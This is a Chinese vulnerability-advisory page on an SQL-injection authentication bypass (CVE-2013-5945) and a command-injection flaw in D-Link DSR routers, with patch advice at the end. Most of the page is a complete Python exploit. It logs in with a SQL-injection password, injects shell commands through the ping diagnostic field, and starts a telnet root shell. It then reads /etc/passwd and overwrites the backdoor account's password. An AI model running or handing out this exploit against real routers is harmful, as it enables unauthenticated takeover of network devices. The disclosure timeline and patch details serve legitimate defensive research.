首页 / 操作系统 / Linux / D-Link DSR路由器系列产品SQL注入漏洞(CVE-2013-5945)
发布日期:2013-12-03 更新日期:2013-12-12受影响系统: D-Link DSR Router DSR-500N D-Link DSR Router DSR-250N D-Link DSR Router DSR-150N D-Link DSR Router DSR-150 D-Link DSR Router DSR-1000N D-Link DSR Router DSR-1000 D-Link DSR Router D-Link DSR-500 描述: -------------------------------------------------------------------------------- BUGTRAQ ID: 64172 CVE(CAN) ID: CVE-2013-5945D-Link DSR是无线服务路由器产品。D-Link DSR路由器系列产品在实现上存在SQL注入漏洞,成功利用后可使攻击者控制应用、访问或修改数据、利用下层数据库内的其他漏洞,从而绕过身份验证。<*来源:nu11.nu11 *>测试方法: --------------------------------------------------------------------------------警 告以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!#!/usr/bin/python # # CVEs: CVE-2013-5945 - Authentication Bypass by SQL-Injection # CVE-2013-5946 - Privilege Escalation by Arbitrary Command Execution # # Vulnerable Routers: D-Link DSR-150 (Firmware < v1.08B44) # D-Link DSR-150N (Firmware < v1.05B64) # D-Link DSR-250 and DSR-250N (Firmware < v1.08B44) # D-Link DSR-500 and DSR-500N (Firmware < v1.08B77) # D-Link DSR-1000 and DSR-1000N (Firmware < v1.08B77) # # Likely to work on: D-Link DWC-1000 # # Download URL: http://tsd.dlink.com.tw # # Arch: mips and armv6l, Linux # # Author: 0_o -- null_null # nu11.nu11 [at] yahoo.com # Oh, and it is n-u-one-one.n-u-one-one, no l"s... # Wonder how the guys at packet storm could get this wrong :( # # Date: 2013-08-18 # # Purpose: Get a non-persistent root shell on your D-Link DSR. # # Prerequisites: Network access to the router ports 443 and 23. # !!! NO AUTHENTICATION CREDENTIALS REQUIRED !!! # # # Coordinated Disclosure -- history and timeline: # # 2013-09-12: Informed Heise Security and asked for their support on this case # 2013-09-13: Informed the manufacturer D-Link via # http://www.dlink.com/us/en/support/security-advisories/report-vulnerabilities/ (contact form is buggy!) # http://www.d-link.co.za/contactus/feedback/ (contact request submitted) # http://www.dlink.com/de/de/contact-d-link (contact form is buggy!) # mail@dlink.ru (contact request sent) # info@dlink.ee (contact request sent) # info@dlink.de (contact request sent) # 2013-09-14: Informed the German Federal Office for Information Security (BSI) via certbund@bsi.bund.de # 2013-09-16: D-Link Russia and D-Link Germany claim to have forwarded my request. # 2013-09-17: German BSI responds, contact established. # 2013-09-24: Requested CVE-IDs. # 2013-09-25: Heise responds, contact established. # 2013-09-27: D-Link asks for details on vulns and the exploit code. # Mitre assigns two CVEs: # CVE-2013-5945 -- authentication bypass # CVE-2013-5946 -- privilege escalation # 2013-09-30: D-Link has received the exploit and documentation via BSI # 2013-11-29: Patches are available for the DSR router series via tsd.dlink.com.tw # DSR-150: Firmware v1.08B44 # DSR-150N: Firmware v1.05B64 # DSR-250 and DSR-250N: Firmware v1.08B44 # DSR-500 and DSR-500N: Firmware v1.08B77 # DSR-1000 and DSR-1000N: Firmware v1.08B77 # 2013-12-03: Public Disclosure # # And now - the fun part :-) # import httplib import urllib import telnetlib import time import sys import crypt import random import string ############################## # # CHANGE THESE VALUES -- BEGIN # # Your router"s IP:PORT ipaddr = "192.168.10.1:443" # Password to be set (by this hack) on the backdoor account bdpasswd = "password" # # CHANGE THESE VALUES -- END # # persistent config file: /tmp/teamf1.cfg.ascii # Edit this file to make your changes persistent. # ############################## cookie = "" pid = -2 bduser = "" def request(m = "", u = "", b = "", h = ""): global ipaddr conn = httplib.HTTPSConnection(ipaddr, timeout = 15) assert m in ["GET", "POST"] conn.request(method = m, url = u, body = b, headers = h) ret = conn.getresponse() header = ret.getheaders() data = ret.read() conn.close() return (header, data) def login(user, passwd): global ipaddr headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "User-Agent": "Exploit", "Referer": "https://" + ipaddr + "/scgi-bin/platform.cgi", "Content-Type": "application/x-www-form-urlencoded"} body = {"thispage" : "index.htm", "Users.UserName" : user, "Users.Password" : passwd, "button.login.Users.deviceStatus" : "Login", "Login.userAgent" : "Exploit"} return request("POST", "/scgi-bin/platform.cgi", urllib.urlencode(body), headers)
def logout(): global ipaddr, cookie headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "User-Agent": "Exploit", "Referer": "https://" + ipaddr + "/scgi-bin/platform.cgi", "Content-Type": "application/x-www-form-urlencoded"} body = "" return request("GET", "/scgi-bin/platform.cgi?page=index.htm", urllib.urlencode(body), headers) def execCmd(cmd = None): global ipaddr, cookie assert cmd != None headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "User-Agent": "Exploit", "Referer": "https://" + ipaddr + "/scgi-bin/platform.cgi?page=systemCheck.htm", "Cookie": cookie, "Content-Type": "application/x-www-form-urlencoded"} body = {"thispage" : "systemCheck.htm", "ping.ip" : "localhost;" + cmd, "button.traceroute.diagDisplay" : "Traceroute"} return request("POST", "/scgi-bin/platform.cgi", urllib.urlencode(body), headers) def findPid(mystr = None): # " 957 root 2700 S /usr/sbin/telnetd -l /bin/login" assert mystr != None mypid = 0 (h, d) = execCmd(cmd = "ps|grep telnetd|grep -v grep"); s = d.find(mystr) if s > 0: # telnetd is running cand = d[s - 50 : s] try: mypid = int(cand.split("
")[1].split()[0]) except IndexError: mypid = int(cand.split(">")[1].split()[0]) return mypid def restartTelnetd(mystr1 = None, mystr2 = None): assert mystr1 != None and mystr2 != None global pid pid = findPid("telnetd -l /bin/") if pid > 0: # Stopping the running telnetd print "[+] Stopping telnetd (" + str(pid) + "): ", sys.stdout.flush() (h, d) = execCmd("kill " + str(pid)) pid = findPid(mystr1) if pid > 0: print "FAILURE" sys.exit(-1) else: print "OK" # Starting a new telnetd print "[+] Starting telnetd: ", sys.stdout.flush() (h, d) = execCmd("telnetd -l " + mystr2) pid = findPid("telnetd -l " + mystr2) if pid > 0: print "OK (" + str(pid) + ")" else: print "FAILURE" sys.exit(-1) def main(): global ipaddr, cookie, pid, bduser, bdpasswd user = "admin" passwd = "" or "a"="a" print "
Privilege Escalation exploit for D-Link DSR-250N (and maybe other routers)" print "This change is non-persistent to device reboots." print "Created and coded by 0_o (nu11.nu11 [at] yahoo.com)
" # Logging into the router print "[+] Trying to log into the router: ", sys.stdout.flush() (h, d) = login(user, passwd) if d.find("User already logged in") > 0: print "FAILURE" print "[-] The user "admin" is still logged in. Please log out from your current session first." sys.exit(-1) elif d.find("<a href="?page=index.htm">Logout</a>") > 0: while h: (c1, c2) = h.pop() if c1 == "set-cookie": cookie = c2 break print "OK (" + cookie + ")" elif d.find("Invalid username or password") > 0: print "FAILURE" print "[-] Invalid username or password" sys.exit(-1) else: print "FAILURE" print "[-] Unable to login." sys.exit(-1)
# Starting a telnetd with custom parameters print "[+] Preparing the hack..." restartTelnetd("/bin/login", "/bin/sh")
# Do the h4cK print "[+] Hacking the router..." print "[+] Getting the backdoor user name: ", sys.stdout.flush() tn = telnetlib.Telnet(ipaddr.split(":")[0]) tn.read_very_eager() tn.write("cat /etc/profile
") time.sleep(5) data = tn.read_very_eager() for i in data.split("
"): if i.find(""$USER"") > 0: bduser = i.split(""")[3] break if len(bduser) > 0: print "OK (" + bduser + ")" else: print "FAILURE" sys.exit(-1) print "[+] Setting the new password for " + bduser + ": ", sys.stdout.flush() tn.write("cat /etc/passwd
") time.sleep(5) data = tn.read_very_eager() data = data.split("
") data.reverse() data.pop() data.reverse() data.pop() data = "
".join(data) for i in data.split("
"): if i.find(bduser) >= 0: line = i.split(":") s1 = string.lowercase + string.uppercase + string.digits salt = "".join(random.sample(s1,2)) pw = crypt.crypt(bdpasswd, salt) line[1] = pw # doesn"t work for some odd reason -- too lazy to find out why #salt = "".join(random.sample(s1,8)) #line[1] = crypt.crypt(bdpasswd, "$1$" + salt + "$") data = data.replace(i, ":".join(line)) break tn.write("echo -en "" > /etc/passwd
") time.sleep(5) for i in data.split("
"): tn.write("echo -en "" + i + "
" >> /etc/passwd
") time.sleep(1) data = tn.read_very_eager() tn.close() if data.find(pw) >= 0: print "OK (" + pw + ")" success = True else: print "FAILURE" print "[-] Could not set the new password." sys.exit(-1)
# Switching back to the originals print "[+] Mobbing up..." restartTelnetd("/bin/sh", "/bin/login")
# Logging out print "[+] Logging out: ", sys.stdout.flush() (h, d) = logout() if d.find("value="Login"") > 0: print "OK" else: print "FAILURE" print "[-] Unable to determine if user is logged out." # Print success message if success: print "[+] You can now log in via SSH and Telnet by using:" print " user: " + bduser print " pass: " + bdpasswd print " These changes will be reverted upon router reboot." print " Edit "/tmp/teamf1.cfg.ascii" to make your changes persistent."main() sys.exit(0)建议: -------------------------------------------------------------------------------- 厂商补丁:D-Link ------ 目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:http://www.dlink.com/Adobe Flash Player及AIR类型混淆远程代码执行漏洞(CVE-2013-5331)(apsb13-28)Adobe Shockwave Player 远程代码执行漏洞(CVE-2013-5333)(apsb13-29)相关资讯 D-Link